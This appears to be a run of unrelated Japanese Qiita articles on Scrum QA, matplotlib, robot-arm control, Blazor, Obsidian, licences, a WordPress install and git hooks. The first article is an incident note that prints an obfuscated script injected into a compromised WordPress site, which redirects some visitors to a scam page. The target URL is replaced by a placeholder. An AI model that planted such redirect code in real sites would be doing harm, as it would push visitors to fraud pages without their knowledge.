OmniAICreator/Qiita-1.07M huggingface dataset:
Wordpressが改ざんされる例 (再)

これはうちの管轄外のサイトで起きたことです。

可読性高くするために、改行等を加えてあります

```HTML
<script>
$soq0ujYKWbanWY6nnjX=function(n){
	if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string")
		return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");

	return $soq0ujYKWbanWY6nnjX.list[n];
};

$soq0ujYKWbanWY6nnjX.list=["\'URLとかを文字列反転したもの//:ptth\'=ferh.noitacol.tnemucod"];
var c=Math.floor(Math.random() * 5);
if (c==3){
	var delay = 15000;
	setTimeout($soq0ujYKWbanWY6nnjX(0), delay);
}
</script>
```

ちなみに、現在当該URLに行くと、BANされているせいか、not found になりますが、詐欺サイトがあった痕跡は残っています。

## Wordpressの環境

バージョン4.9代と推定されます。

## さいごに

セキュリティーはしっかりまもりましょう
スクラムと品質保証

[アドベンチャーアドベントカレンダー2022](https://qiita.com/advent-calendar/2022/adventure)の16日目の記事です。[初日](https://qiita.com/t-sato-adv/items/186e646545d2ad92cd15)に書いたんですが枠全然埋まらないのでまた書きました。

# 誰

株式会社アドベンチャー [skyticket](https://skyticket.jp/)品質保証担当です。

僕は新卒で日立製作所のグループ企業に開発者として入社し、日立流の品質保証の薫陶を受けて育ちました。また、第三者検証会社に在籍していた時期も、直属の先輩はやはり日立グループ企業の品質保証部出身であり、開発としてもQAとしても日立製作所の品質保証アプローチに強い影響を受けています。

# スクラムと品質保証

さて、僕が日立にいた00年代はまだまだウォーターフォールが主流であり、品質保証もウォーターフォールを前提としたものでした。ところが現在はアジャイルが主流です。アドベンチャーでも、遅ればせながら現在スクラムの導入を進めています。ここで問題となるのが、スクラムにおいて品質保証をどのように行うのか、我々QAはどのように立ち振る舞うのかです。

ウォーターフォールはフェージングアプローチであり、基本的には各工程の区切りでQAが成果物の検査を行います。最終的に製品検査とマニュアル検査が行われ、合格すればリリースが可能になります。これはソフトウェア工場モデルに基づくシンプルながらよく機能する形ですが、中間工程を持たないアジャイル開発には当然適用できません。それなら中間工程の検査をなくして最終成果物の検査だけをやればいいかというと、それはリスクが大きすぎます。品質に関するフィードバックはもっと早くから行われるべきです。

人によってはQAはステークホルダーであると位置付けるケースもあるようですが、僕はもっとスクラムに深く入り込み、より積極的な品質保証活動を行うべきだと考えています。

というわけで、あれこれ考えた結果を図にしたものがこれです。

![スクラムと品質保証](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2954524/53bd216f-8fe7-1843-d7cc-20387e7f0563.png)

まず前提知識として、検査は成果物の品質を直接確認する直接検査と、プロジェクトの管理状態を確認する管理検査に大別されます。

スクラムにおいては、管理検査は特定の工程として行われるのではなく、スクラムがルール通りに機能しているか常に確認し続ける必要があると考えました。スクラムではプロジェクト管理はドキュメントベースではなくコミュニケーションベースになりますから、QAもスクラムイベントに欠かさず出席し、ルール通りに事が運んでいるかを確認し続けることが望ましいと考えます。

一方で直接検査ですが、スクラムでは各スプリント毎に実際に動作する成果物ができます。一般的にはプロダクトバックログアイテム（PBI）単位でスプリントレビューでデモが行われるはずです。であれば、完成したPBIを片っ端から検査していけば直接検査は成立するのではないかと考えました。また、エンドゲームにおいてはリリース可能なプロダクトが完成しているはずですから、そこでシステム全体を対象とした最終的な直接検査を行えば、副作用やデグレードがないことも担保できます。こうして、PBI単位の検査による迅速なフィードバックと、エンドゲームにおける最終検査によるウォーターフォールの時と同水準の品質保証を組み合わせるのが、スクラムにおいては望ましい形であろうと考えています。

アイデアは整ったので年明けからこの運用を開始します。細工は流々、仕上げをご覧じろ。

# 参考図書

この記事の内容は以下の書籍に大きな影響を受けています。

[ソフトウェア品質保証の基本: 時代の変化に対応する品質保証のあり方・考え方](https://www.amazon.co.jp/dp/4817196572/)
Pythonでグラフ作成

## はじめに
今回はPythonのmatplotlibライブラリを使ってグラフを作成したいと思います。

## matplotlibとは
一言で言うと、Pythonのグラフ描画ライブラリです。
matplotlibを使うことによって、グラフの描画やデータの可視化を行うことができます。
折れ線グラフや棒グラフ、散布図、ヒストグラフなど様々なグラフを作成することができます。

より詳しく学習したい方は[公式ページ](https://matplotlib.org/2.0.2/gallery.html)も合わせて見て下さい。
実際の例を見ることでより理解が深まりますので興味のある方は参考にして頂ければと思います。

## ゴール
今回のゴールは数学で習ったような簡単なグラフを描画することです。
それだけじゃ面白くないかもしれませんが、あと2つか3つの記事を合わせて最終的にはTwitterのAPIを使ってTweetを抽出して、好きな画像でWordCloudを用いて可視化することを最終的なゴールと考えてます。
そのためのステップと思って下さい。

## 環境
```
macOS Ventura 13.0.1
Google Colaboratory
```

## Matplotlibのインストール
Matplotlibのインストールはpipコマンドを用いて、下記のコマンドでインストール出来ます。
```terminal
pip install matplotlib
```
Jupyter Notebookをお使いの方は、起動したNotebookのセルに、下記コマンドでインストールすることが出来ます。
pipの頭に!マークをつけて実行するだけでインストールできるのは便利ですね。
```terminal
!pip install matplotlib
```
Google Colabを使っている方は最初から入っているのでimportするだけです。
他にはどんなライブラリが入ってるのか知りたい場合はノートブック上で、
下のコードを打ってみて下さい、
```
!pip list
```
このコマンドで最初からインストールされているPythonモジュールを確認できます。


## グラフ
このグラフは誰もが見たことがあるのではないでしょうか。
一次関数です。

```python
import matplotlib.pyplot as plt
import numpy as np

x = np.arange(0, 5, 0.1)
y = 2 * x

plt.plot(x, y)
plt.show()
```
上記のコードを実行すると、

![スクリーンショット 2022-12-15 23.05.34.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2741139/e006666f-4fe5-2d21-6df4-710409881db6.png)

図のようなグラフが表示されます。
学校で見たことありますよね。

コードをみていくと、
```python
x = np.arange(0, 5, 0.1)
```
ここで0〜5までの数字を0.1刻みで生成するという意味になります。
どのように刻むかは次の
```python
y = 2 * x
```
です。

```python
plt.plot(x, y)
plt.show()
```
最後の2行はプロットの作成と作成したプロットの描画を意味しています。


## まとめ
今回はシンプルなグラフでしたが、棒グラフなど様々なグラフを作成できるので色々試してみて下さい。
データを読み込んでグラフ化もできますし、使い方はいっぱいあると思います。
二次関数や三次関数などももちろんできるのですが、二次関数はギリギリ公式を覚えてますが、
三次関数はもう自力では解けないですね。
OpenRCFでCRANE-X7を動かす方法


本稿では，OpenRCFでCRANE-X7を動かす方法を解説します．
OpenRCF自体は下記のサイトからダウンロードできます．
https://mase.openrcf.site/


まず，MainWindow.Xaml.csに次のコードを追加します．

```ruby:MainWindow.Xaml.cs
Robot Robot = new Robot(7);

void Setup()
{           
    Robot[0, 0].lInit.Set = new float[3] { 0, 0, 0.050f };
    Robot[0, 0].axisInit.SetUnitVectorZ();
    Robot[0, 0].JointRange = new float[2] { -0.8f * PI, 0.8f * PI };
    Robot[0, 1].lInit.Set = new float[3] { 0, 0, 0.055f };
    Robot[0, 1].axisInit.SetUnitVectorY();
    Robot[0, 1].JointRange = new float[2] { -PI, PI };
    Robot[0, 1].q = -0.1f * PI;
    Robot[0, 2].lInit.Set = new float[3] { 0, 0, 0.100f };
    Robot[0, 2].axisInit.SetUnitVectorZ();
    Robot[0, 2].JointRange = new float[2] { -0.8f * PI, 0.8f * PI };
    Robot[0, 3].lInit.Set = new float[3] { 0, 0, 0.150f };
    Robot[0, 3].axisInit.SetUnitVectorY();
    Robot[0, 3].JointRange = new float[2] { 0, 0.8f * PI };
    Robot[0, 3].q = 0.65f * PI;
    Robot[0, 4].lInit.Set = new float[3] { 0, 0, 0.125f };
    Robot[0, 4].axisInit.SetUnitVectorZ();
    Robot[0, 4].JointRange = new float[2] { -0.75f * PI, 0.75f * PI };
    Robot[0, 5].lInit.Set = new float[3] { 0, 0, 0.125f };
    Robot[0, 5].axisInit.SetUnitVectorY();
    Robot[0, 5].JointRange = new float[2] { -0.5f * PI, 0.5f * PI };
    Robot[0, 5].q = 0.45f * PI;
    Robot[0, 6].lInit.Set = new float[3] { 0, 0, 0.043f };
    Robot[0, 6].axisInit.SetUnitVectorZ();
    Robot[0, 6].JointRange = new float[2] { -0.9f * PI, 0.9f * PI };
    Robot[0, 7].lInit.Set = new float[3] { 0, 0, 0.060f };

    Robot.Kinematics.ForwardKinematics();
    Robot.Kinematics.SetJointLinkRadiusAuto();
    Robot.Kinematics.ResetTargets();
}


void Draw()
{
    Robot.Draw();
}

SerialDevice.Dynamixel Dynamixel = new SerialDevice.Dynamixel();
byte[] id = new byte[8] { 2, 3, 4, 5, 6, 7, 8, 9 };

void Button1_Click(object sender, RoutedEventArgs e)
{
    Dynamixel.SetBaudRate57600();
    Dynamixel.PortOpen("COM5");
}

void Button2_Click(object sender, RoutedEventArgs e)
{
    Dynamixel.RequestPositionReply(id);      
    int[] intAngles = Dynamixel.Position(id);
            
    Robot[0, 0].q = 2 * PI * intAngles[0] / 4096 - PI;
    Robot[0, 1].q = -(2 * PI * intAngles[1] / 4096 - PI);
    Robot[0, 2].q = 2 * PI * intAngles[2] / 4096 - PI;
    Robot[0, 3].q = -(2 * PI * intAngles[3] / 4096 - PI);
    Robot[0, 4].q = 2 * PI * intAngles[4] / 4096 - PI;
    Robot[0, 5].q = -(2 * PI * intAngles[5] / 4096 - PI);
    Robot[0, 6].q = 2 * PI * intAngles[6] / 4096 - PI;
            
    Robot.Kinematics.ForwardKinematics();
}
```
実行すると，下図のようにロボットアームが生成されます．寸法は実際のCRANE-X7と同じになっています．
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/310597/518f0e30-7365-567f-578c-ccb4a0cd8c06.png)
ボタン1を押すとCOMポートが開きます．もし開かない場合は，COMの番号やボーレート，非常停止ボタンが押されていないか，電源が供給されているかを確認してみてください．
ボタン2を押すと，CRANE-X7の各関節角度がシミュレータ内のロボットに反映されます．関数Dynamixel.RequestPositionReply(id)を実行した時点では，まだ関節角度を受信していない点にご注意ください（ボタン2を最初に押したときは全ての関節角度が0となる）．一定の時間(1ms未満)が経過すると，サーボから関節角度の返信がありますので，関数Dynamixel.Position(id)で取得できる関節角度が更新されます（ボタン2は２回押す必要あり）．グリッパーの角度は，intAngles[7]に格納されています．


逆運動学を計算する方法や，各サーボに角度指令値を与える方法については，公式の説明書に記載されています．
macOSとVS CodeでBlazor WebAssemblyの開発環境をセットアップ

# はじめに

私は普段の開発ではmacOSを使っていて、Blazor WebAssemblyでアプリを開発するときだけWindowsを使っていました。Windowsで集中してBlazor WebAssemblyのコードを編集しているときはいいのですが、macOSを使っている時にちょっとした修正のアイディアを思いついたときはWindowsを起動するのが面倒で、あとでまとめて修正すればいいかと思うことが多かったです。たぶん忘れてしまった修正もたくさんあったと思います。

試しにVisual Studio for Macを使おうとしたこともあったのですが、Windowsで使っていたVisual Studioとはちょっと違って、結局はWindowsからの移行はしなかったです。

そのような状況を改善するため、macOSとVS CodeでBlazor WebAssemblyの開発環境をセットアップすることにしました。以下の手順は私の開発環境のMacBook Air (M1, 2020)で動作を確認しています。

# セットアップ

## .NET

Homebrewに`dotnet`というパッケージがあるのですが、私の環境では動作させることができませんでした。`dotnet`ではなく`dotnet-sdk`を使うことにしました。

Homebrewで`dotnet-sdk`をインストールします。

```bash
% brew install --cask dotnet-sdk
```

https://formulae.brew.sh/cask/dotnet-sdk

`Microsoft.NET.Runtime.WebAssembly.Templates`をインストールします。

```bash
% dotnet new install Microsoft.NET.Runtime.WebAssembly.Templates
```

AOTコンパイルする場合は`wasm-tools`もインストールします。

```bash
% sudo dotnet workload install wasm-tools
```

## VS Code

VS CodeでC#の拡張機能をインストールします。

https://marketplace.visualstudio.com/items?itemName=ms-dotnettools.csharp

ソースコードのフォーマットを有効にしている場合は、言語別の設定でC#の`Default Formatter`を`C# ms-dotnettools.csharp`に設定します。

# アプリの作成と実行

Blazor WebAssemblyのアプリを作成します。

```bash
% dotnet new blazorwasm -o Sample1
```

作成したアプリのフォルダーに移動して、サーバーを起動します。

```bash
% cd Sample1
% dotnet run
```

公開ファイルを作成するためには以下のコマンドを実行します。

```bash
% dotnet publish -c Release
```

`bin/Release/net7.0/publish/`に公開ファイルが作成されます。

# NuGetパッケージの管理

Homebrewに`nuget`があるのですが、今回は必要なかったです。`dotnet`コマンドでパッケージを管理します。

https://learn.microsoft.com/ja-jp/nuget/consume-packages/install-use-packages-dotnet-cli

## パッケージの一覧表示

```bash
% dotnet list package
```

## パッケージの追加・更新

```bash
% dotnet add package <PACKAGE_NAME>
```

## パッケージの削除

```bash
% dotnet remove package <PACKAGE_NAME>
```

# おわりに

macOSでBlazor WebAssemblyの開発環境をセットアップしました。私はこれまで.NETの開発はWindowsでVisual Studioを使っていて、コマンドの使い方はほとんど知らなかったので、macOSでの環境構築は意外と時間がかかってしまいました。まだ基本的な使い方しかできていませんが、とりあえずこれでmacOSでの開発が進められそうです。

Homebrewで`dotnet-sdk`をインストールしてしまうと、.NETのプレビューリリースを試すことができないかもしれません。その場合は以下のWebサイトから.NETのインストーラーをダウンロードしてインストールすることになりそうです。

https://dotnet.microsoft.com/ja-jp/download/dotnet

# 参考

https://blogs.jp.infragistics.com/entry/blazor-getting-started-vscode
Obsidianについての初歩的な知識

<img width="800" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/864075/7b078a8d-3178-2767-0953-a065583377f9.png"/>

https://obsidian.md/

# ジャンル
メモアプリ

# プラットホーム
1. デスクトップ版
    1. macOS
    1. Linux(AppImage, Snap, Flatpak)
    1. Windows(64-bit, 32-bit, ARM 64-bit)
1. モバイル版
    1. iOS
    1. Android

# 金額 (USD)

1. Personal ($0)
    - 個人利用
    - アカウント登録不要
    - プラグインとAPI
    - コミュニティサポート
1. Catalyst ($25+)
    - 開発支援
    - インサイダー・ビルドへの早期アクセス
    - 専用開発ちゃんねるへのアクセス
1. Commercial ($50/年)
    - 業務用
    - 優先的サポート

アドオン・サービス
1. Sync ($8/月)
    - End-To-Endの暗号化
    - 組み込みのバージョン履歴
    - 優先的メールサポート
1. Publish (1サイト $16/月)
    - メモを選択的に公開する
    - グラフ表示とアウトライン
    - 優先メールサポート

　Obsidianは個人使用の範囲なら無料で使用できます。２人以上の営利目的の会社で使用する場合のみ購入が必要です。Catalystライセンスを支払うこともできますが、支払いは１回限りです。

　Syncの追加料金を払うと、クラウドにファイルを置くことができ、複数のデバイスで同期させることができます。つまり、無料版をそのまま使うと、ローカルにファイルが置かれてしまいます。

　iPhoneやiPadでは、ファイル（Valult）をローカルに置くか、iCloudに置くか選択できます。WindowsにもiCloudをインストールし、そのフォルダに保存するよう設定すれば、同期して使用できるようになります。同時に編集が可能なので、Syncにお金を払わなくても使えます。WindowsならDropboxやGoogle Driveに置くことができますが、iPhone、iOSは現時点ではDropboxやGoogle Driveを利用できません。

# 概要
　Obsidianは2020年にローンチされましたが、しばらくバージョン0.Xで開発が進み、バージョン1.0がリリースされたのは2022年10月です。アカウント登録なしでも使えるため、ユーザー数を確認することはできませんが、次第に増えているようです。

　アカウント登録は、Obsidian PublishとObsidian Syncを利用する場合のみ必須です。Obsidian Syncを利用しない場合は、データはローカルに保存されます。

# 機能
　Obsidianの特徴は、マークダウンが使え、Wikiのリンク表記が使えることです。

`[Google](https://www.google.com)`
と書くと
<ins>`Google`</ins>
のように下線がついてリンクします。

　フォルダを階層的に作成することができます。フォルダでの管理は馴染みやすいですが、ファイルが増えてくるとどのフォルダに入ってるかわからなくなってきます。

　Obsidianは、階層化されたタグが使えます。`#ProgramingLanguage/Python` のような使い方ができます。

　私が一番うれしいところは、Vimのキーバインドが使えるところです。Vimを使いこなせる程ではないのですが、基本的な操作だけでもVimのキーバインドは使いやすいのです。Obsidianで記事を書き、Qiitaに張り付けるという使い方がいいかもしれません。

　また、各種のコミュニティプラグインがあり、いろいろ機能が追加できそうです。

<img width="800" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/864075/b54ba6d3-a5c8-6ef8-acf0-1faa0731b675.png"/>
VCIで再生する音ファイルのビットレート等について

# VCIで再生する音ファイルについて
コンバンハ
せっかく２枚目あるのにちょっとでもと・・。

ボタンを押したとき等に音を鳴らしたいことは多々あるかと思います。
バーチャルキャスト公式によると **「44.1kHz 16bit のWAVE推奨」** とあります
https://virtualcast.jp/wiki/vci/sample/audio/tutorial

実際の所どうなのか検証してみましょう
検証日：2022年11月末　Ver2.3.0f

## ○waveファイル検証結果
　複数の音声bit及びサンプリングレートを試してみました。
![1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2353185/8c5b246d-fcf0-8e7f-ba4d-358c9b66703e.png)
　企画倒れかな？
　8,000～192,000Hzまで試してみましたが、
　16bit、24bitは再生可能。32bit系は再生出来ました。
　雑音が入るようなこともありませんでした。

## ○mp3ファイル検証結果
　気を取り直してmp3ではどうなんでしょう
![2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2353185/1d09ae77-8cff-35de-5c1e-ae0e7c25bae7.png)
　やっぱり企画倒れ？
　サンプリングレート32,000Hz、44,100Hz、48,000Hzで32kbps～320kbpsを試してみましたが
　問題はありませんでした。

## ○ビットレートの上書き
　問題はないと言いましたが将来にわたり問題ないというわけではありません。
　また、エンコードするソフトによっては再生出来無かったり雑音が入るかもしれません。
　bit変更は出来ませんが、サンプリングレートの変更であればunity上で可能です。

　音源ファイルのインスペクターを見てみましょう
　「サンプリングレート設定」→「サンプリングレートのオーバーライド」とし、
　「44,100Hz」を選択。「適応する」をクリックしましょう。
![3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2353185/cdae7afb-1f90-1be7-bb18-87c22bcfaf95.png)

　これで再エンコードなしにサンプリングレートを変更できました。
　音を鳴らしたときに雑音や音質に違和感を感じた場合、
　手動でサンプリングレートを設定するのも良いかもしれません。

　もちろん、元音源の音質が悪ければいくらサンプリングレートを高くしも
　失われた音質は戻ってきません。

## ○まとめ
　VCIは100Mbまでとの制限もあるため
　無理に高音質なファイルを選択する必要はあまりないでしょう。

　少し前まではビットレートによって雑音が入ることもありましたが
　検証時点においては問題がありませんでした。
　もっとも、問題ないと言っても推奨は **「44.1kHz 16bit WAVE」** とあるため、
　数秒であればwaveを、長めの場合はmp3と使い分けするのが無難でしょう。

　一番大事なこと**大きい音量は周りの人に迷惑をかけるため控えめにしようね！！**
主要なオープンソースライセンスの商用条件

複数のオープンソースライブラリについて、
商用目的利用の可否を調査する機会がありました。

その結果、現在公開されているほとんどのオープンソースでは、
以下４種のライセンスのいずれかが適用されていることがわかりました。
・MIT
・BSD
・Apache License 2.0
・GPL (GNU General Public License)

それぞれのライセンスで課される商用条件を記します。

### MIT
```
1.著作権を表記する。
2.MITライセンスの全文を表記する。
```

MITライセンスの制限は非常にシンプルです。
上記二点の条件を満たせば、非営利、商用を問わず、使用、改変、複製、再頒布が可能です。

MIT ライセンス原文：https://opensource.org/licenses/mit-license.php
MIT ライセンス日本語訳：https://licenses.opensource.jp/MIT/MIT.html

### BSD
```
1.ソースコードを再頒布する場合、著作権・ライセンス・免責条項を表記する。
2.バイナリ形式で再頒布する場合、著作権・ライセンス・免責条項の表記があるドキュメント等を付属させる。
3.<当オープンソース>から派生した製品の宣伝に<当オープンソース>の著作者名などを使用しない。(BSD-3,4のみ)
4.宣伝媒体に、謝辞を表示する。(BSD-4のみ)
```
BSDライセンスは３種類あります。
制限の多い方から順に
・BSD-4（四条項BSDライセンス）
・BSD-3（三条項BSDライセンス）
・BSD-2（二条項BSDライセンス）
となっています。

オープンソースのホームページや`pip-licenses`コマンドでライセンス確認すると、
単に`BSD License`とのみ表記されているケースがあります。
その場合、Git-Hubからそのオープンソースの公開ページを探し出して、
BSDのバージョンを確認する必要があります。

BSD-3 ライセンス原文：https://opensource.org/licenses/BSD-3-Clause
BSD-3 ライセンス日本語訳：https://licenses.opensource.jp/BSD-3-Clause/BSD-3-Clause.html

### Apache License 2.0
```
1.ライセンスのコピーを含める。
2.変更点を明記する。
3.ソース形式で頒布する場合、著作権、特許、商標、および帰属についての告知を表記する。
4.「NOTICE」に相当するファイル(帰属告知)がある場合、それを含める。
```
`Apache License 2.0`第四章「再頒布」の規定で４つの制限が記されています。
ここでいう再頒布とはライセンスを持つオープンソースを再頒布・修正再頒布する場合だけでなく、
自作のアプリケーションに含めて利用するといった場合も含みます。

Apache License 2.0 原文:https://www.apache.org/licenses/LICENSE-2.0
Apache License 2.0 日本語訳:https://licenses.opensource.jp/Apache-2.0/Apache-2.0.html

### GPL (GNU General Public License version)
主な条件のみ抜粋
```
1.著作権・ライセンス・無保証である旨を表記する。
2.ソースコードを公開する。
3.バイナリ形式で頒布する場合、バイナリ生成に必要な構成ファイル等を開示する。
4.GPLライセンスで書かれている以上の条件を課さない。
```
紹介した４つのライセンスの中で、`GPL`のみ再頒布に際して強い制限を課します。

自身の著作物に`GPL 2.0`を付与する場合の注意点として、
`GPL 2.0`には特許に関する条項が明文化されていません。
そのため、先ほど紹介した`Apache 2.0`との互換性がありません。

また、`GPL 2.0`をベースに特許関係の条項を追加したライセンスに`GPL 3.0`があります。

GPL2.0 原文:https://www.gnu.org/licenses/old-licenses/gpl-2.0.html
GPL3.0 原文：https://www.gnu.org/licenses/gpl-3.0.txt
GPL3.0 非公式日本語訳：https://gpl.mhatta.org/gpl.ja.html
Ubuntu 22.04 + Nginx 1.22.1 + MariaDB 10.6.11 + PHP 8.1 - WordPressインストール

## 前提
ようやく WordPress のインストール。ここまで長かった！
## 環境
Ubuntu 22.04
Nginx 1.22.1
MariaDB 10.6.11
PHP 8.1
## 設定
### WordPress のダウンロード
`tmp`ディレクトリへ移動して、WordPress をダウンロードする。
```
$ cd /tmp
$ wget https://ja.wordpress.org/latest-ja.tar.gz
$ tar -xvzf latest-ja.tar.gz
```
### WordPress のインストール
`tmp`ディレクトリから`/var/www/wordpress/`にダウンロードした WordPress ファイルを移動。
```
$ sudo mv wordpress /var/www/html/wordpress
```
`www-data`に WordPress ディレクトリへの権限を与える。
```
$ sudo chown -R www-data:www-data /var/www/html/wordpress
$ sudo chmod -R 755 /var/www/html/wordpress/
```
フォルダの中に用意されている`wp-config-sample.php`のファイル名を`wp-config.php`に変更。
```
$ sudo mv /var/www/html/wordpress/wp-config-sample.php /var/www/html/wordpress/wp-config.php
```
`wp-config.php`に MariaDB で設定したユーザ名やパスワードの情報を追記。
```
$ sudo vi /var/www/html/wordpress/wp-config.php

// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'database_name_here' );

/** Database username */
define( 'DB_USER', 'username_here' );

/** Database password */
define( 'DB_PASSWORD', 'password_here' );

/** Database hostname */
define( 'DB_HOST', 'localhost' );

/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
```

### オプション
PHP のインストールの時に設定していればいいんだけど、設定してないかもしれない方は確認しておくといい。

https://qiita.com/akikito/items/db0344a4365d18659775

```
$ sudo cat /etc/nginx/sites-available/default 

server {
        listen 80 default_server;
        listen [::]:80 default_server;

        root /var/www/html;

        index index.php index.html index.htm index.nginx-debian.html;

        server_name _;

        location / {
                try_files $uri $uri/ =404;
        }

        location ~ \.php$ {
        include snippets/fastcgi-php.conf;

        fastcgi_pass unix:/run/php/php8.1-fpm.sock;
        #       # With php-cgi (or other tcp sockets):

        }
}
```
```
$ sudo systemctl restart nginx
```
### WordPress の確認
ブラウザから http://X.X.X.X/wordpress を開いて、表示されればOK
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/263451/ce8f3916-9634-2599-560f-4ab6aa75f764.png)
はじめまして！とmarginとpaddingについて

目次
[・はじめに](#はじめに)
[・本日の学習について](#本日の学習について)
[・おわりに](#おわりに)

## はじめに

はじめまして。
未経験からプログラマーを目指しているri-tamaと申します。
唐突ですが
私現在**無職**です。

営業をずっとやってましたが、
なんやかんや色々あり9月に退職。その2か月前の7月より
プログラミングスクールに通い始めました。

元々PCへの興味はありつつも文系の大学へ進学卒業し、
そのまま成り行きで営業の道を歩んでしまい...。

・手に職つけたい！
・創作したい！
・色んな人にサービス提供できる物を作りたい！

という思いから、プログラミングを学んでおります。

・python(スクール)
・HTMLCSS(独学)
・JS(独学)←今ここ

という感じで学んでおります。
色んな言語を学ぶのはあまり良くないとは思うのですが、
djangoを学んだので、PFを作る際のフロントを豪華にしたいという安直な考えからJSを学び始めました。

フロントエンドになりたいと最近思い始めておりますが、道は険しいですね。


学習の進捗を書いていきたいと思いQiitaへ登録しました。

敷居がタカクテ ナニヲ カイタラ イイノカ...
カキカタ ワカラネェ...

と思っていたのですが、
PF作成や学習の進捗、振り返り、自分が躓いた問題やその解決策等について
共有していければ、と考え投稿をします。

技術レベルは全然なく
知識もないですが、何卒よろしくお願いします。


## 本日の学習について


本日はひたすらHTMLとCSSをやっていたのですが、
marginとpaddingって覚えにくくないですか？

marginとpaddingはCSSにおいて余白を作るプロパティのことです。
marginが外側、paddingは内側。
覚える必要はないと思うんですよ。
慣れていったら感覚的にわかってくると思うので。

ですが

今日ふとスマホの裏を見たらですね。
ありました。
marginとpadding、即座に分かる物が。




![iphone画像.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2854762/8541a160-4dc2-631c-c9e9-36036c875712.jpeg)


## おわりに

めちゃくちゃしょうもない記事を書いてしまい申し訳ありません...。

そしてここまで読んでいただきありがとうございます。
明日からはJSを学び直しますので、
今日よりかは何かしらいい記事が書けるように精進します。


↓Qiitaでコードを書く方法が分かったので、記念に書きました。

```python
def hello():
  print("helloWorld")
hello()
```

それでは失礼いたします。

参考リンク
[【書き方まとめ】初めてQiitaに記事を書くときに知っておくべきこと](https://qiita.com/shizen-shin/items/a997bc228fa2850c9fce)
[【パクれ】エンジニア転職で企業から評価されるQiita記事の書き方を解説](https://qiita.com/mokio/items/a87a4e8d3ef58c5b865f)
ジグ関数と共に

 治具というものがある。なにかものを作ろうとしたとき、この条件のときにだけ使えるような器具を、わざわざつくったりする。たとえば、ある木材のこの場所に穴を開けたいと思ったとする。そのとき、その場所にそのサイズの穴を開けるためだけに使える器具を、わざわざつくるわけだ。ある条件のときにしか使われない特注の器具。それをジグという。

 仕事でプログラムを書いていると、このジグ関数をよく書いていることに気づく。このとき以外には使えない関数だ。わざわざ関数にするまでもなく、そのままインラインで書けば良いのかもしれない。ただ、ほんの少しロジックが複雑になると、そのまま書けなくもないけれど関数にしたくなる。つまりは自信がないのだろう。

 処理を関数に切り出すとテストがしやすい。当然、参照透過な関数にしておく必要はあるけれど。テストが通っていたら安心できる。少なくともそのケースではうまくいっていることがわかるからだ。

 つくったときはジグ関数のつもりだったが、ビジネスが複雑化して他で使われるようになることもある。こういうときは嬉しい。テストケースも増えて、立派な関数に育て上げた気になれる。

 しかし、本来ソースコードは短いほうがいいはずだ。ジグ関数はなくても良い存在のような気もする。このあたりはバランスだろう。なんでもかんでも関数に切り出せば良いというものでもない。基準としては自信があるかないか、で良いかもしれない。少しでも不安ならジグ関数にしてしまえば良いのではないか。自信のあるなしは主観的なものなので難しいか……。

 プログラムの完成度を高めようとするときは、ジグ関数をつくり、テストを書く。そのほうが安全だ。テストの通っていない関数を使いたくないとさえ思う。つくっているほうが不安なのだから、使うほうはもっと不安だろう。使い捨てのツールだったり、社内ツールなら適当でもいいかもしれない。完成度より速度が求められるときもある。

 ジグ関数とは別だけれど、ジグツールというのもある。いや、ツールと具は同じ意味か。治具具になってしまう。まあ、それはそれとして、このときにだけ使うプログラムだ。たぶん1回しか使わない。トラブル対応でその場を切り抜けるためのツールだったりする。とりあえず動けばいい、でつくる。シェルスクリプトが多いけれど、最近ではzxでつくることも多い。
 
 ジグに助けられることは多い。そんなに関数にせんでも、と思うときもあるけれど……。僕は残念ながら天才的なプログラマにはなれなかった。僕は、これからもずっと、ジグと共に凡人の道を歩んでいくのだろう。きっと。
コミット時にコードをきれいにしたい

## これは何？
リンターやフォーマッターを都度走らせるのはめんどくさいので、特定のアクション(今回はコミット)をフックにして走るようにします。

↓ コミット以外のアクションもフックにすることができます。

https://git-scm.com/book/ja/v2/Git-%E3%81%AE%E3%82%AB%E3%82%B9%E3%82%BF%E3%83%9E%E3%82%A4%E3%82%BA-Git-%E3%83%95%E3%83%83%E3%82%AF

## husky
```husky```は、Gitのアクションをフックに、リンターやフォーマッターやテストなどの指定したコマンドを走らせることができるpackageです。
```
    npm install husky --save-dev
    npx husky install
    npm pkg set scripts.prepare="husky install"
    npx husky add .husky/pre-commit "npm test"
```
```.husky```ディレクトリに```pre-commit```ができるので、走らせたいコマンドはそこで変更することができます。
```pre-commit
    #!/usr/bin/env sh
    . "$(dirname -- "$0")/_/husky.sh"
    
    npm test       <=ここを変更する
```


https://typicode.github.io/husky/#/

## lint-staged
```litn-staged```は```Gitでステージングされているファイル```に対してコマンドを実行できるpackageです。

ファイルによって異なるコマンドを指定することができるため、```ruby```のファイルには```rubocop```、```js```ファイルには```ESLintとprettier```みたいに指定することができます。

```
    npm install --save-dev lint-staged
```
```package.json
    "lint-staged": {
        "src/*.{js, ts}": "eslint --fix"
    }

```
上記のように```pacage.json```に```lint-staged```を追加した場合、```git add```して、```npx lint-staged```を実行することで```src```ディレクトリの拡張子が```js```または```ts```のファイルを対象にしてESLintが走ります。

https://github.com/okonet/lint-staged

## まとめ
```pre-commit```ファイルのコマンドを```npx lint-staged```にすることによって、コミット時に```package.json```の```lint-staged```に指定したコマンドを実行することができます。
```pre-commit
    #!/usr/bin/env sh
    . "$(dirname -- "$0")/_/husky.sh"
    
    npx lint-staged
```

## 具体例
```
    .
    ├── backend
    │      ├─ app
    │      │   ├─
    │      .
    │      .
    │
    ├── frontend
    │      ├─ src
    │      │   ├─
    .      .
    .      .
    │
    ├─ package.json
      
```
